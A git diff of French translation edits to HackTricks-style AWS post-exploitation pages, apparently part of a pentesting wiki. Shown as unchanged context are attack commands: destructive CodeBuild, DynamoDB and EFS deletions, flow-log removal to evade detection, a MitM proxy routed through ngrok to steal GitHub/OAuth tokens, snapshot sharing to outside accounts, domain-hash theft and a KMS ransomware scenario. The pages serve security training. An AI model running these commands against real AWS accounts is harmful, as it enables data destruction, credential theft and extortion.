```bash
@@ -54,7 +54,7 @@ Un attaquant pourrait supprimer un projet CodeBuild entier, entraînant la perte
```bash
aws codebuild delete-project --name
```
-**Impact potentiel** : Perte de configuration de projet et interruption de service pour les applications utilisant le projet supprimé.
+**Impact potentiel** : Perte de la configuration du projet et interruption de service pour les applications utilisant le projet supprimé.
### `codebuild:TagResource` , `codebuild:UntagResource`
@@ -67,10 +67,10 @@ aws codebuild untag-resource --resource-arn --tag-keys
### `codebuild:DeleteSourceCredentials`
-Un attaquant pourrait supprimer les identifiants source pour un dépôt Git, impactant le fonctionnement normal des applications s'appuyant sur le dépôt.
+Un attaquant pourrait supprimer les informations d'identification source pour un dépôt Git, impactant le fonctionnement normal des applications s'appuyant sur le dépôt.
```sql
aws codebuild delete-source-credentials --arn
```
-**Impact potentiel** : Disruption du fonctionnement normal des applications s'appuyant sur le dépôt affecté en raison de la suppression des identifiants source.
+**Impact potentiel** : Perturbation du fonctionnement normal des applications s'appuyant sur le dépôt affecté en raison de la suppression des identifiants source.
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
index 53e5a9f77..600d70426 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -10,24 +10,24 @@ aws codebuild list-source-credentials
```
### Via Docker Image
-Si vous constatez que l'authentification, par exemple à Github, est configurée dans le compte, vous pouvez **exfiltrer** cet **accès** (**GH token ou OAuth token**) en faisant en sorte que Codebuild **utilise une image docker spécifique** pour exécuter la construction du projet.
+Si vous constatez que l'authentification à, par exemple, Github est configurée dans le compte, vous pouvez **exfiltrer** cet **accès** (**GH token ou OAuth token**) en faisant en sorte que Codebuild **utilise une image docker spécifique** pour exécuter la construction du projet.
À cette fin, vous pourriez **créer un nouveau projet Codebuild** ou modifier l'**environnement** d'un projet existant pour définir l'**image Docker**.
L'image Docker que vous pourriez utiliser est [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). C'est une image Docker très basique qui définira les **variables d'environnement `https_proxy`**, **`http_proxy`** et **`SSL_CERT_FILE`**. Cela vous permettra d'intercepter la plupart du trafic de l'hôte indiqué dans **`https_proxy`** et **`http_proxy`** et de faire confiance au certificat SSL indiqué dans **`SSL_CERT_FILE`**.
1. **Créer et télécharger votre propre image Docker MitM**
-- Suivez les instructions du dépôt pour définir votre adresse IP de proxy et configurer votre certificat SSL et **construire l'image docker**.
-- **NE PAS CONFIGURER `http_proxy`** pour ne pas intercepter les requêtes vers le point de terminaison des métadonnées.
+- Suivez les instructions du dépôt pour définir votre adresse IP de proxy et définir votre certificat SSL et **construire l'image docker**.
+- **NE PAS DÉFINIR `http_proxy`** pour ne pas intercepter les requêtes vers le point de terminaison des métadonnées.
- Vous pourriez utiliser **`ngrok`** comme `ngrok tcp 4444` pour définir le proxy vers votre hôte.
- Une fois que vous avez construit l'image Docker, **téléchargez-la dans un dépôt public** (Dockerhub, ECR...)
2. **Définir l'environnement**
- Créez un **nouveau projet Codebuild** ou **modifiez** l'environnement d'un projet existant.
-- Configurez le projet pour utiliser l'**image Docker précédemment générée**.
+- Définissez le projet pour utiliser l'**image Docker précédemment générée**.
-3. **Configurer le proxy MitM sur votre hôte**
+3. **Définir le proxy MitM sur votre hôte**
- Comme indiqué dans le **dépôt Github**, vous pourriez utiliser quelque chose comme :
```bash
@@ -73,10 +73,10 @@ aws codebuild start-build --project-name my-project2
```
### Via insecureSSL
-**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
-Activer cela permet à Codebuild de se connecter au dépôt **sans vérifier le certificat** offert par la plateforme.
+Les projets **Codebuild** ont un paramètre appelé **`insecureSsl`** qui est caché dans le web et que vous ne pouvez changer que depuis l'API.\
+L'activation de cela permet à Codebuild de se connecter au dépôt **sans vérifier le certificat** offert par la plateforme.
-- First you need to enumerate the current configuration with something like:
+- Tout d'abord, vous devez énumérer la configuration actuelle avec quelque chose comme :
```bash
aws codebuild batch-get-projects --name
```
@@ -115,7 +115,7 @@ aws codebuild update-project --name \
]
}'
```
-- Ensuite, exécutez l'exemple de base de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) sur le port indiqué par les variables de proxy (http_proxy et https_proxy)
+- Ensuite, exécutez l'exemple de base depuis [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) dans le port indiqué par les variables de proxy (http_proxy et https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -136,7 +136,7 @@ mitm.run()
> [!TIP] > **Cette vulnérabilité a été corrigée par AWS à un moment donné de la semaine du 20 février 2023 (je pense que c'était vendredi). Donc un attaquant ne peut plus en abuser :)**
-Un attaquant avec **des permissions élevées dans un CodeBuild pourrait fuir le token Github/Bitbucket** configuré ou si les permissions étaient configurées via OAuth, le **token OAuth temporaire utilisé pour accéder au code**.
+Un attaquant avec **des permissions élevées sur un CodeBuild pourrait divulguer le token Github/Bitbucket** configuré ou si les permissions étaient configurées via OAuth, le **token OAuth temporaire utilisé pour accéder au code**.
- Un attaquant pourrait ajouter les variables d'environnement **http_proxy** et **https_proxy** au projet CodeBuild pointant vers sa machine (par exemple `http://5.tcp.eu.ngrok.io:14972`).
@@ -158,7 +158,7 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-- Ensuite, cliquez sur **Build the project** ou démarrez la build depuis la ligne de commande :
+- Ensuite, cliquez sur **Build the project** ou démarrez la construction depuis la ligne de commande :
```sh
aws codebuild start-build --project-name
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
index 61a8d8135..1748c4b68 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
@@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Gestionnaire de Cycle de Vie des Données (DLM)
+## Data Lifecycle Manger (DLM)
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
@@ -12,7 +12,7 @@ Tout d'abord, on utilisera une commande pour rassembler des informations sur les
`aws ec2 describe-volumes`
-Deuxièmement, on créera la politique de cycle de vie. Cette commande utilise l'API DLM pour configurer une politique de cycle de vie qui prend automatiquement des snapshots quotidiens des volumes spécifiés à un moment désigné. Elle applique également des balises spécifiques aux snapshots et copie les balises des volumes vers les snapshots. Le fichier policyDetails.json inclut les spécificités de la politique de cycle de vie, telles que les balises cibles, le calendrier, l'ARN de la clé KMS optionnelle pour le chiffrement, et le compte cible pour le partage de snapshots, qui sera enregistré dans les journaux CloudTrail de la victime.
+Deuxièmement, on créera la politique de cycle de vie. Cette commande utilise l'API DLM pour configurer une politique de cycle de vie qui prend automatiquement des snapshots quotidiens des volumes spécifiés à un moment désigné. Elle applique également des tags spécifiques aux snapshots et copie les tags des volumes vers les snapshots. Le fichier policyDetails.json inclut les spécificités de la politique de cycle de vie, telles que les tags cibles, le calendrier, l'ARN de la clé KMS optionnelle pour le chiffrement, et le compte cible pour le partage de snapshots, qui sera enregistré dans les journaux CloudTrail de la victime.
```bash
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
index efb571765..1b1802989 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - DynamoDB Post Exploitation
+# AWS - Post Exploitation de DynamoDB
{{#include ../../../banners/hacktricks-training.md}}
@@ -47,7 +47,7 @@ aws dynamodb batch-get-item \
### `dynamodb:GetItem`
-**Semblable aux autorisations précédentes** celle-ci permet à un attaquant potentiel de lire des valeurs d'une seule table donnée la clé primaire de l'entrée à récupérer :
+**Semblable aux autorisations précédentes**, celle-ci permet à un attaquant potentiel de lire des valeurs d'une seule table donnée la clé primaire de l'entrée à récupérer :
```json
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
@@ -124,7 +124,7 @@ Vous pouvez utiliser cette autorisation pour **extraire facilement l'ensemble de
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
```
-Cette autorisation permet également d'exécuter `batch-execute-statement` comme :
+Cette permission permet également d'exécuter `batch-execute-statement` comme :
```bash
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
@@ -159,7 +159,7 @@ aws dynamodb update-continuous-backups \
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
-Avec ces autorisations, un attaquant serait en mesure de **créer une nouvelle table à partir d'une sauvegarde** (ou même de créer une sauvegarde pour ensuite la restaurer dans une autre table). Ensuite, avec les autorisations nécessaires, il pourrait vérifier **des informations** provenant des sauvegardes qui **pourraient ne plus être dans la table de production**.
+Avec ces autorisations, un attaquant pourrait **créer une nouvelle table à partir d'une sauvegarde** (ou même créer une sauvegarde pour ensuite la restaurer dans une autre table). Ensuite, avec les autorisations nécessaires, il pourrait vérifier **des informations** provenant des sauvegardes qui **pourraient ne plus être dans la table de production**.
```bash
aws dynamodb restore-table-from-backup \
--backup-arn \
@@ -170,7 +170,7 @@ aws dynamodb restore-table-from-backup \
### `dynamodb:PutItem`
-Cette permission permet aux utilisateurs d'ajouter un **nouvel élément à la table ou de remplacer un élément existant** par un nouvel élément. Si un élément avec la même clé primaire existe déjà, **l'élément entier sera remplacé** par le nouvel élément. Si la clé primaire n'existe pas, un nouvel élément avec la clé primaire spécifiée sera **créé**.
+Cette autorisation permet aux utilisateurs d'ajouter un **nouvel élément à la table ou de remplacer un élément existant** par un nouvel élément. Si un élément avec la même clé primaire existe déjà, **l'élément entier sera remplacé** par le nouvel élément. Si la clé primaire n'existe pas, un nouvel élément avec la clé primaire spécifiée sera **créé**.
{{#tabs }}
{{#tab name="Exemple XSS" }}
@@ -206,7 +206,7 @@ aws dynamodb put-item \
### `dynamodb:UpdateItem`
-Cette permission permet aux utilisateurs de **modifier les attributs existants d'un élément ou d'ajouter de nouveaux attributs à un élément**. Elle ne **remplace pas** l'élément entier ; elle met seulement à jour les attributs spécifiés. Si la clé primaire n'existe pas dans la table, l'opération **créera un nouvel élément** avec la clé primaire spécifiée et définira les attributs spécifiés dans l'expression de mise à jour.
+Cette permission permet aux utilisateurs de **modifier les attributs existants d'un élément ou d'ajouter de nouveaux attributs à un élément**. Elle **ne remplace pas** l'élément entier ; elle met seulement à jour les attributs spécifiés. Si la clé primaire n'existe pas dans la table, l'opération **créera un nouvel élément** avec la clé primaire spécifiée et définira les attributs spécifiés dans l'expression de mise à jour.
{{#tabs }}
{{#tab name="Exemple XSS" }}
@@ -256,18 +256,18 @@ aws dynamodb delete-table \
### `dynamodb:DeleteBackup`
-Un attaquant disposant de cette autorisation peut **supprimer une sauvegarde DynamoDB, ce qui peut entraîner une perte de données en cas de scénario de récupération après sinistre**.
+Un attaquant avec cette permission peut **supprimer une sauvegarde DynamoDB, ce qui peut entraîner une perte de données en cas de scénario de récupération après sinistre**.
```bash
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \
--region
```
-**Impact potentiel** : Perte de données et incapacité à récupérer à partir d'une sauvegarde lors d'un scénario de récupération après sinistre.
+**Impact potentiel** : Perte de données et incapacité à récupérer à partir d'une sauvegarde lors d'un scénario de reprise après sinistre.
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
> [!NOTE]
-> TODO: Tester si cela fonctionne réellement
+> TODO : Tester si cela fonctionne réellement
Un attaquant avec ces autorisations peut **activer un flux sur une table DynamoDB, mettre à jour la table pour commencer à diffuser des modifications, puis accéder au flux pour surveiller les modifications de la table en temps réel**. Cela permet à l'attaquant de surveiller et d'exfiltrer les modifications de données, ce qui peut entraîner une fuite de données.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
index 719be5437..f47b89f90 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
@@ -85,7 +85,7 @@ Il est possible de faire fonctionner une instance EC2 et de l'enregistrer pour
Pour [**plus d'informations, consultez ceci**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
-### Supprimer les journaux de flux VPC
+### Remove VPC flow logs
```bash
aws ec2 delete-flow-logs --flow-log-ids --region
```
@@ -120,7 +120,7 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo
```shell
kubectl get pods --insecure-skip-tls-verify
```
-Notez que les connexions SSL échoueront à moins que vous ne définissiez le drapeau `--insecure-skip-tls-verify` (ou son équivalent dans les outils d'audit K8s). Étant donné que le trafic est tunnelé à travers le tunnel SSM sécurisé d'AWS, vous êtes à l'abri de tout type d'attaques MitM.
+Notez que les connexions SSL échoueront à moins que vous ne définissiez le drapeau `--insecure-skip-tls-verify` (ou son équivalent dans les outils d'audit K8s). Étant donné que le trafic est tunnelé à travers le tunnel sécurisé AWS SSM, vous êtes à l'abri de tout type d'attaques MitM.
Enfin, cette technique n'est pas spécifique à l'attaque des clusters EKS privés. Vous pouvez définir des domaines et des ports arbitraires pour pivoter vers tout autre service AWS ou une application personnalisée.
@@ -128,9 +128,9 @@ Enfin, cette technique n'est pas spécifique à l'attaque des clusters EKS priv
```bash
aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region
```
-### Rechercher des informations sensibles dans les AMIs publiques et privées
+### Rechercher des informations sensibles dans des AMIs publiques et privées
-- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel est un outil conçu pour **rechercher des informations sensibles dans des Amazon Machine Images (AMIs) publiques ou privées**. Il automatise le processus de lancement d'instances à partir des AMIs cibles, de montage de leurs volumes et de recherche de secrets ou de données sensibles potentielles.
+- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel) : CloudShovel est un outil conçu pour **rechercher des informations sensibles dans des Amazon Machine Images (AMIs) publiques ou privées**. Il automatise le processus de lancement d'instances à partir d'AMIs cibles, de montage de leurs volumes et de recherche de secrets ou de données sensibles potentielles.
### Partager un instantané EBS
```bash
@@ -138,7 +138,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe
```
### EBS Ransomware PoC
-Une preuve de concept similaire à la démonstration de ransomware présentée dans les notes de post-exploitation S3. KMS devrait être renommé en RMS pour Ransomware Management Service avec la facilité d'utilisation pour chiffrer divers services AWS.
+Une preuve de concept similaire à la démonstration de Ransomware présentée dans les notes de post-exploitation S3. KMS devrait être renommé en RMS pour Ransomware Management Service en raison de la facilité d'utilisation pour chiffrer divers services AWS.
Tout d'abord, depuis un compte AWS 'attaquant', créez une clé gérée par le client dans KMS. Pour cet exemple, nous allons simplement laisser AWS gérer les données de la clé pour moi, mais dans un scénario réaliste, un acteur malveillant conserverait les données de la clé en dehors du contrôle d'AWS. Modifiez la politique de clé pour permettre à tout Principal de compte AWS d'utiliser la clé. Pour cette politique de clé, le nom du compte était 'AttackSim' et la règle de politique permettant tout accès s'appelle 'Outside Encryption'
```
@@ -329,7 +329,7 @@ Attendez un moment que la nouvelle politique de clé se propage. Ensuite, retour
 
-Mais lorsque vous essayez de redémarrer l'instance EC2 avec le volume EBS chiffré, cela échouera et passera de l'état 'en attente' à l'état 'arrêté' indéfiniment, car le volume EBS attaché ne peut pas être déchiffré avec la clé puisque la politique de clé ne le permet plus.
+Mais lorsque vous essayez réellement de redémarrer l'instance EC2 avec le volume EBS chiffré, cela échouera et passera de l'état 'en attente' à l'état 'arrêté' indéfiniment, car le volume EBS attaché ne peut pas être déchiffré avec la clé puisque la politique de clé ne le permet plus.
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
index 8dcb50d8e..45936c0e4 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
@@ -46,7 +46,7 @@ dsnap --region us-east-2 get snap-027da41be451109da
# Delete the snapshot after downloading
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
```
-Pour plus d'informations sur cette technique, consultez la recherche originale sur [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/)
+Pour plus d'informations sur cette technique, consultez la recherche originale dans [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/)
Vous pouvez le faire avec Pacu en utilisant le module [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots)
@@ -122,7 +122,7 @@ ls /mnt
```
## Shadow Copy
-Tout utilisateur AWS possédant la permission **`EC2:CreateSnapshot`** peut voler les hachages de tous les utilisateurs du domaine en créant un **snapshot du contrôleur de domaine**, en le montant sur une instance qu'il contrôle et en **exportant le fichier NTDS.dit et le registre SYSTEM** pour une utilisation avec le projet secretsdump d'Impacket.
+Tout utilisateur AWS possédant la permission **`EC2:CreateSnapshot`** peut voler les hachages de tous les utilisateurs de domaine en créant un **snapshot du contrôleur de domaine**, en le montant sur une instance qu'il contrôle et en **exportant le fichier NTDS.dit et le registre SYSTEM** pour une utilisation avec le projet secretsdump d'Impacket.
Vous pouvez utiliser cet outil pour automatiser l'attaque : [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) ou vous pourriez utiliser l'une des techniques précédentes après avoir créé un snapshot.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
index daf265f54..1ee474a4e 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
@@ -1,12 +1,12 @@
-# AWS - Malicious VPC Mirror
+# AWS - Miroir VPC Malveillant
{{#include ../../../../banners/hacktricks-training.md}}
**Vérifiez** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **pour plus de détails sur l'attaque !**
-L'inspection passive du réseau dans un environnement cloud a été **difficile**, nécessitant des changements de configuration majeurs pour surveiller le trafic réseau. Cependant, une nouvelle fonctionnalité appelée “**VPC Traffic Mirroring**” a été introduite par AWS pour simplifier ce processus. Avec le VPC Traffic Mirroring, le trafic réseau au sein des VPC peut être **dupliqué** sans installer de logiciel sur les instances elles-mêmes. Ce trafic dupliqué peut être envoyé à un système de détection d'intrusion réseau (IDS) pour **analyse**.
+L'inspection passive du réseau dans un environnement cloud a été **difficile**, nécessitant des changements de configuration majeurs pour surveiller le trafic réseau. Cependant, une nouvelle fonctionnalité appelée “**Miroir de Trafic VPC**” a été introduite par AWS pour simplifier ce processus. Avec le Miroir de Trafic VPC, le trafic réseau au sein des VPC peut être **dupliqué** sans installer de logiciel sur les instances elles-mêmes. Ce trafic dupliqué peut être envoyé à un système de détection d'intrusion réseau (IDS) pour **analyse**.
-Pour répondre au besoin de **déploiement automatisé** de l'infrastructure nécessaire pour le mirroring et l'exfiltration du trafic VPC, nous avons développé un script de preuve de concept appelé “**malmirror**”. Ce script peut être utilisé avec des **identifiants AWS compromis** pour configurer le mirroring pour toutes les instances EC2 prises en charge dans un VPC cible. Il est important de noter que le VPC Traffic Mirroring n'est pris en charge que par les instances EC2 alimentées par le système AWS Nitro, et la cible de miroir VPC doit être dans le même VPC que les hôtes miroités.
+Pour répondre au besoin de **déploiement automatisé** de l'infrastructure nécessaire pour le mirroring et l'exfiltration du trafic VPC, nous avons développé un script de preuve de concept appelé “**malmirror**”. Ce script peut être utilisé avec des **identifiants AWS compromis** pour configurer le mirroring pour toutes les instances EC2 prises en charge dans un VPC cible. Il est important de noter que le Miroir de Trafic VPC n'est pris en charge que par les instances EC2 alimentées par le système AWS Nitro, et la cible du miroir VPC doit être dans le même VPC que les hôtes miroités.
L'**impact** du mirroring de trafic VPC malveillant peut être significatif, car il permet aux attaquants d'accéder à des **informations sensibles** transmises au sein des VPC. La **probabilité** d'un tel mirroring malveillant est élevée, compte tenu de la présence de **trafic en clair** circulant à travers les VPC. De nombreuses entreprises utilisent des protocoles en clair au sein de leurs réseaux internes pour des **raisons de performance**, supposant que les attaques traditionnelles de type homme du milieu ne sont pas possibles.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
index f636218ee..0da28d75d 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
@@ -12,7 +12,7 @@ Pour plus d'informations, consultez :
### Rôles IAM de l'hôte
-Dans ECS, un **rôle IAM peut être attribué à la tâche** s'exécutant à l'intérieur du conteneur. **Si** la tâche est exécutée à l'intérieur d'une **instance EC2**, l'**instance EC2** aura **un autre rôle IAM** qui lui est attaché.\
+Dans ECS, un **rôle IAM peut être attribué à la tâche** s'exécutant à l'intérieur du conteneur. **Si** la tâche s'exécute à l'intérieur d'une **instance EC2**, l'**instance EC2** aura **un autre rôle IAM** qui lui est attaché.\
Ce qui signifie que si vous parvenez à **compromettre** une instance ECS, vous pouvez potentiellement **obtenir le rôle IAM associé à l'ECR et à l'instance EC2**. Pour plus d'informations sur la façon d'obtenir ces identifiants, consultez :
{{#ref}}
@@ -24,11 +24,11 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
### Privesc vers le nœud pour voler les identifiants et secrets d'autres conteneurs
-De plus, EC2 utilise Docker pour exécuter les tâches EC, donc si vous pouvez échapper au nœud ou **accéder au socket Docker**, vous pouvez **vérifier** quels **autres conteneurs** sont en cours d'exécution, et même **y entrer** et **voler leurs rôles IAM** attachés.
+De plus, EC2 utilise Docker pour exécuter les tâches ECs, donc si vous pouvez échapper au nœud ou **accéder au socket Docker**, vous pouvez **vérifier** quels **autres conteneurs** sont en cours d'exécution, et même **y entrer** et **voler leurs rôles IAM** attachés.
#### Faire fonctionner des conteneurs sur l'hôte actuel
-En outre, le **rôle de l'instance EC2** aura généralement suffisamment de **permissions** pour **mettre à jour l'état de l'instance de conteneur** des instances EC2 utilisées comme nœuds à l'intérieur du cluster. Un attaquant pourrait modifier l'**état d'une instance en DRAINING**, puis ECS **supprimera toutes les tâches de celle-ci** et celles exécutées en tant que **REPLICA** seront **exécutées dans une autre instance,** potentiellement à l'intérieur de **l'instance de l'attaquant** afin qu'il puisse **voler leurs rôles IAM** et des informations sensibles potentielles à l'intérieur du conteneur.
+En outre, le **rôle de l'instance EC2** aura généralement suffisamment de **permissions** pour **mettre à jour l'état de l'instance de conteneur** des instances EC2 utilisées comme nœuds à l'intérieur du cluster. Un attaquant pourrait modifier l'**état d'une instance en DRAINING**, puis ECS **supprimera toutes les tâches de celle-ci** et celles exécutées en tant que **REPLICA** seront **exécutées dans une autre instance,** potentiellement à l'intérieur de **l'instance de l'attaquant**, lui permettant de **voler leurs rôles IAM** et des informations sensibles potentielles à l'intérieur du conteneur.
```bash
aws ecs update-container-instances-state \
--cluster --status DRAINING --container-instances
@@ -52,6 +52,6 @@ aws ecs submit-attachment-state-changes ...
```
### Voler des informations sensibles des conteneurs ECR
-L'instance EC2 aura probablement également la permission `ecr:GetAuthorizationToken` lui permettant de **télécharger des images** (vous pourriez rechercher des informations sensibles dans celles-ci).
+L'instance EC2 aura probablement la permission `ecr:GetAuthorizationToken` lui permettant de **télécharger des images** (vous pourriez rechercher des informations sensibles dans celles-ci).
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
index d5f8eeb70..099784b57 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
@@ -20,7 +20,7 @@ aws efs delete-mount-target --mount-target-id
### `elasticfilesystem:DeleteFileSystem`
-Un attaquant pourrait supprimer un système de fichiers EFS entier, ce qui pourrait entraîner une perte de données et affecter les applications s'appuyant sur le système de fichiers.
+Un attaquant pourrait supprimer un système de fichiers EFS entier, ce qui pourrait entraîner une perte de données et affecter les applications dépendant du système de fichiers.
```perl
aws efs delete-file-system --file-system-id
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
index d23ce9371..db92a606e 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
@@ -25,7 +25,7 @@ aws eks update-kubeconfig --name aws-eks-dev
Si vous pouvez **obtenir un token** avec **`aws eks get-token --name `** mais que vous n'avez pas les permissions pour obtenir les informations du cluster (describeCluster), vous pourriez **préparer votre propre `~/.kube/config`**. Cependant, avec le token, vous avez toujours besoin de l'**url endpoint pour vous connecter** (si vous avez réussi à obtenir un token JWT d'un pod lisez [ici](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) et du **nom du cluster**.
-Dans mon cas, je n'ai pas trouvé l'info dans les logs CloudWatch, mais j'ai **trouvé dans les userData des LaunchTemplates** et dans les **machines EC2 dans les userData aussi**. Vous pouvez voir cette info dans **userData** facilement, par exemple dans l'exemple suivant (le nom du cluster était cluster-name) :
+Dans mon cas, je n'ai pas trouvé l'info dans les logs CloudWatch, mais j'ai **trouvé dans les userData des LaunchTemplates** et dans les **machines EC2 dans userData aussi**. Vous pouvez voir cette info dans **userData** facilement, par exemple dans l'exemple suivant (le nom du cluster était cluster-name) :
```bash
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
@@ -72,9 +72,9 @@ provideClusterInfo: false
### D'AWS à Kubernetes
-Le **créateur** du **cluster EKS** va **TOUJOURS** pouvoir accéder à la partie du cluster kubernetes du groupe **`system:masters`** (admin k8s). Au moment de la rédaction de ce document, il n'y a **aucun moyen direct** de savoir **qui a créé** le cluster (vous pouvez vérifier CloudTrail). Et il n'y a **aucun moyen** de **supprimer** ce **privilège**.
+Le **créateur** du **cluster EKS** sera **TOUJOURS** capable d'accéder à la partie du cluster kubernetes du groupe **`system:masters`** (admin k8s). Au moment de la rédaction de ce document, il n'y a **aucun moyen direct** de savoir **qui a créé** le cluster (vous pouvez vérifier CloudTrail). Et il n'y a **aucun moyen** de **supprimer** ce **privilège**.
-La façon de donner **accès à plus d'utilisateurs ou de rôles AWS IAM** sur K8s est d'utiliser le **configmap** **`aws-auth`**.
+La façon de donner **accès à plus d'utilisateurs ou de rôles AWS IAM sur K8s** est d'utiliser le **configmap** **`aws-auth`**.
> [!WARNING]
> Par conséquent, toute personne ayant un **accès en écriture** sur le config map **`aws-auth`** pourra **compromettre l'ensemble du cluster**.
@@ -87,13 +87,13 @@ Vérifiez aussi [**ce post génial**](https://blog.lightspin.io/exploiting-eks-a
Il est possible de permettre une **authentification OpenID pour le compte de service kubernetes** afin de leur permettre d'assumer des rôles dans AWS. Apprenez comment [**cela fonctionne sur cette page**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
-### OBTENIR le point de terminaison de l'API du serveur à partir d'un jeton JWT
+### OBTENIR le point de terminaison de l'API Server à partir d'un jeton JWT
